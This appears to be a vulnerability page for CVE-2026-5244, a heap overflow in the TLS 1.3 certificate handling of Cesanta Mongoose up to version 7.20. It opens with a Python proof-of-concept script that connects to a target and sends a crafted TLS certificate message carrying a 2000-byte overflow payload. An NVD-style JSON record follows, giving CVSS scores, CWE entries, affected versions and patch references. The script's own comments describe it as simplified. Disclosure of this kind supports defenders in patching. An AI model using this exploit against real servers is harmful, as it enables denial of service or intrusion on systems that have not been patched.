CVE-2026-5244

import socket import struct def exploit_poc(target_ip, target_port): """ Proof of Concept for CVE-2026-5244. This script sends a crafted TLS packet to trigger the heap overflow in the mg_tls_recv_cert function of Cesanta Mongoose <= 7.20. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Constructing a malicious TLS 1.3 payload # The vulnerability lies in handling the 'pubkey' argument. # We send an oversized pubkey buffer to overflow the heap. # TLS Record Layer Header content_type = b'\x16' # Handshake version = b'\x03\x01' # TLS 1.0 # Malicious Handshake Message (Simplified) # In a real scenario, this would be a valid TLS handshake structure # with the specific vulnerable field (pubkey) overflowing. handshake_type = b'\x0b' # Certificate length_overflow = b'\x00\x00\xFF' # The overflow payload (e.g., 'A' * 1000) overflow_payload = b'A' * 2000 payload = handshake_type + length_overflow + overflow_payload # Calculate total length total_len = struct.pack('!H', len(payload)) tls_header = content_type + version + total_len # Send malicious packet s.send(tls_header + payload) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error occurred: {e}")

{"cve": {"id": "CVE-2026-5244", "sourceIdentifier": "[email protected]", "published": "2026-04-02T08:16:28.683", "lastModified": "2026-04-29T21:46:14.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Cesanta Mongoose up to 7.20. This affects the function mg_tls_recv_cert of the file mongoose.c of the component TLS 1.3 Handler. Such manipulation of the argument pubkey leads to heap-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 7.21 mitigates this issue. The name of the patch is 0d882f1b43ff2308b7486a56a9d60cd6dba8a3f1. It is advisable to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cesanta:mongoose:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.21", "matchCriteriaId": "CFB6060D-2132-492F-8C8D-CC053CCFBC80"}]}]}], "references": [{"url": "https://github.com/cesanta/mongoose/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/cesanta/mongoose/commit/0d882f1b43ff2308b7486a56a9d60cd6dba8a3f1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/cesanta/mongoose/releases/tag/7.21", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://vuldb.com/submit/770063", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/354825", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, { ... 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